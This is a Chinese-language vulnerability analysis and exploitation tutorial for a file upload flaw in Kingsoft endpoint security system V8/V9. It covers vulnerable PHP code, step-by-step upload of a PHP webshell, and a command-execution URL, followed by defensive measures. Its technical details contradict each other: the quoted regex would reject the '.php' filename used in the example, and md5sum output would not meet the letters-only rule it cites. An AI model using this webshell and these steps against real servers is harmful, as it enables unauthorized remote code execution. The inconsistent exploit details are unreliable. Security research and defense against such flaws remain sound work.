金山终端安全系统 V8/V9存在文件上传漏洞
字数 1283 2025-08-10 08:29:01
金山终端安全系统 V8/V9 文件上传漏洞分析及利用教学
漏洞概述
金山终端安全系统 V8 和 V9 版本中存在一个高危的文件上传漏洞,攻击者可以通过构造特定的 HTTP 请求,向目标系统上传任意文件,可能导致远程代码执行(RCE)等严重后果。
受影响版本
- 金山终端安全系统 V8
- 金山终端安全系统 V9
环境要求
- 操作系统:Windows Server 2008 R2
- 内存:≥4GB
- 架构:B/S架构(可通过Web应用进行管理)
漏洞位置
Web根目录下的 /tools/manage/upload.php 文件
漏洞分析
文件结构
- Web根目录位于程序结构下的
Console目录 - V8和V9的文件结构大致相同
漏洞代码分析
-
上传目录设置:
$uploaddir = '/UploadDir/'; // 默认上传目录 // 如果存在server.conf文件,则重写$uploaddir的值 if(file_exists('server.conf')) { // 读取并重写$uploaddir } -
文件上传逻辑:
// 检查上传文件名是否符合正则表达式 if(preg_match('/^[A-z]*$/', $_FILES['file']['name'])) { // 文件名必须为32位A-z字符 $uploadfile = $uploaddir . $_FILES['file']['name']; // 创建目录并设置权限 mkdir($uploaddir, 0777, true); // 移动上传的文件 move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); }
漏洞关键点
- 文件名验证过于简单,仅要求32位长度的字母组合
- 上传目录权限设置为0777(最大权限)
- 没有对文件内容进行任何验证
- 默认情况下不存在server.conf文件,使用默认上传路径
漏洞利用
利用条件
- 知道目标系统的Web管理界面地址
- 能够发送HTTP POST请求到
/tools/manage/upload.php
利用步骤
-
构造上传请求:
- 使用POST方法访问
/tools/manage/upload.php - 上传的文件名必须为32位字母(如MD5值)
- 文件内容可以是任意内容(如Webshell)
- 使用POST方法访问
-
生成符合要求的文件名:
# 生成32位字母字符串(Linux/Mac) echo $(head /dev/urandom | tr -dc A-Za-z | head -c 32) # 或使用MD5值 echo -n "randomstring" | md5sum -
上传Webshell:
- 创建一个简单的PHP Webshell文件,如:
<?php system($_GET['cmd']); ?> - 将文件重命名为32位字母名称(如
abcdefghijklmnopqrstuvwxyzabcdef.php) - 通过上传接口提交
- 创建一个简单的PHP Webshell文件,如:
-
访问上传的文件:
- 默认上传路径为
/UploadDir/[filename] - 访问
http://target/UploadDir/abcdefghijklmnopqrstuvwxyzabcdef.php?cmd=whoami
- 默认上传路径为
防御措施
-
临时解决方案:
- 删除或重命名
/tools/manage/upload.php文件 - 在Web服务器配置中禁止访问
/tools/manage/目录
- 删除或重命名
-
长期解决方案:
- 升级到最新版本的安全系统
- 实施严格的文件上传验证:
- 验证文件类型(MIME类型、文件头)
- 限制上传文件扩展名
- 将上传文件存储在Web根目录外
- 对上传文件进行重命名
- 设置适当的文件权限
-
安全加固:
- 定期进行安全审计
- 限制管理界面的访问IP
- 实施Web应用防火墙(WAF)规则
参考
- 漏洞发现者:奇安信攻防社区
- 受影响版本下载链接:
免责声明
本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担所有风险和责任。